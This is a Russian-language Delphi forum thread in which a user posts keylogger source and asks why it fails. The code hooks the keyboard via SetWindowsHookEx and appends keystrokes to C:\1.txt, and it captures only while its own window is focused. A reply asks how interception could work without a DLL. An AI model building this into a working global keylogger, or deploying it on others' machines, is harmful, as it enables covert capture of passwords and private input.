Кейлоггер

Тема в разделе "Delphi - FAQ", создана пользователем Vadik(R), 14 дек 2008.

  1. Vadik(R)

    Vadik(R) Well-Known Member

    Регистрация:
    12 дек 2007
    Сообщения:
    483
    Симпатии:
    0
    Люди, почему не работает кейлоггер:
    Код (Text):
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs;

    type
    TForm1 = class(TForm)
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    SaveExitProc: Pointer;
    HKey: hHook=0;
    f: Text;

    implementation

    {$R *.dfm}

    function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
    begin
    if (code>=0) and (lParam and $40000000 = 0) then
    begin
    assign(f, 'C:\1.txt');
    if fileexists('C:\1.txt') then append(f) else rewrite(f);
    writeln(f, chr(wParam));
    close(f)
    end;
    Result:=CallNextHookEx(HKey, Code, wParam, lParam)
    end;

    procedure StartKey;
    begin
    HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
    end;

    procedure RemoveHookKey;
    begin
    if HKey<>0 then
    begin
    UnhookWindowsHookEx(HKey);
    HKey:=0
    end
    end;

    procedure RemoveAllHooks;
    begin
    RemoveHookKey;
    ExitProc:=SaveExitProc
    end;

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    RemoveAllHooks
    end;

    begin
    SaveExitProc:=ExitProc;
    ExitProc:=@RemoveAllHooks;
    StartKey
    end.
    Вообще он работает, но только на половину. Например, если окно моего приложения активно - то работает. Как только окно потеряет фокус и если нажать любую клавишу, то программа не работает. Даже если потом опять сделать окно своего приложения активным.
    Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
    И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
    Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
    Заранее спасибо! :)

    Методом тыка решил сократить код вот так:
    Код (Text):
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs;

    type
    TForm1 = class(TForm)
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    HKey: hHook=0;
    f: Text;

    implementation

    {$R *.dfm}

    function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
    begin
    if (code>=0) and (lParam and $40000000 = 0) then
    begin
    assign(f, 'C:\1.txt');
    if fileexists('C:\1.txt') then append(f) else rewrite(f);
    writeln(f, chr(wParam));
    close(f)
    end;
    Result:=CallNextHookEx(HKey, Code, wParam, lParam)
    end;

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    if HKey<>0 then UnhookWindowsHookEx(HKey)
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
    end;

    end.
    Такое ощущение, что тут виноваты либо параметры SetWindowsHookEx (скорее всего hInstance), либо CallNextHookEx. Видимо надо с ней что-то делать, только я не знаю, что именно :(
     
  2. FBUS

    FBUS Well-Known Member

    Регистрация:
    12 мар 2008
    Сообщения:
    57
    Симпатии:
    0
    а ты внимательно почитай на сайте откуда ты это сдернул. там все написано (по крайней мере в первоисточнике)
     
  3. Vadik(R)

    Vadik(R) Well-Known Member

    Регистрация:
    12 дек 2007
    Сообщения:
    483
    Симпатии:
    0
    Я это с книги сдернул. Вот ориганал Посмотреть вложение _____________2_.rar
    Сколько не перечитывал, все равно там не написано почему не идет. Они просто советуют делать библиотеку и всё тут. А про то, как сделать без dll ничего не написано. А я сам хочу сделать без dll'ки, только у меня это не получается :)
    Обидно еще то, что когда-то где-то год назад у меня получилось сделать такой кейлоггер, только он нигде не остался :(
     
  4. FBUS

    FBUS Well-Known Member

    Регистрация:
    12 мар 2008
    Сообщения:
    57
    Симпатии:
    0
    а как ты перехват без dll будешь осуществлять, и чем тебя смущает ее присутствие?
     

Поделиться этой страницей